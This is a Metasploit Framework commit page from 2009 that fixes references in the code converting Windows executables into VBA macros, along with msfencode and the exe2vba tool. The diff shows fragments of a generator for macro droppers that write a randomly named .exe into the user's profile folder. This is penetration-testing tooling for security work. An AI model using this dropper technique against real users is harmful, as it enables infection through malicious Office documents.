Permalink
Browse files

Fix up EXE to VBA handling

git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information...
1 parent d981332 commit 76ca3e7741dc2766237a008fcdddfbf06458ff3e HD Moore committed Jun 24, 2009
Showing with 5 additions and 5 deletions.
  1. +1 −1 lib/msf/util/exe.rb
  2. +3 −3 msfencode
  3. +1 −1 tools/exe2vba.rb
View
2 lib/msf/util/exe.rb
@@ -207,7 +207,7 @@ def self.to_exe_vba(exe='')
vba << "\tDim #{var_datnr} As Integer\r\n"
vba << "\tDim #{var_lname} As String\r\n"
vba << "\tDim #{var_lpath} As String\r\n"
- vba << "\t#{var_lname} = \"#{rand_text_alpha(rand(8)+8)}.exe\"\r\n"
+ vba << "\t#{var_lname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
vba << "\t#{var_lpath} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_lpath})\r\n"
vba << "\tChDir (#{var_lpath})\r\n"
View
6 msfencode
@@ -200,7 +200,7 @@ case cmd
end
end
when 'elf'
- elf = Rex::Text.to_linux_x86_elf($framework, raw)
+ elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
if(not output)
$stdout.write(elf)
else
@@ -209,8 +209,8 @@ case cmd
end
end
when 'vba'
- exe = Rex::Text.to_win32pe($framework, raw)
- vba = Rex::Text.to_exe_vba($framework, exe)
+ exe = Msf::Util::EXE.to_win32pe($framework, raw)
+ vba = Msf::Util::EXE.to_exe_vba(exe)
if(not output)
$stdout.write(vba)
else
View
2 tools/exe2vba.rb
@@ -29,7 +29,7 @@ def usage
dat << buf
end
-out.write(Rex::Text.to_exe_vba(dat))
+out.write(Msf::Util::EXE.to_exe_vba(dat))
out.close
inp.close

0 comments on commit 76ca3e7

Please sign in to comment.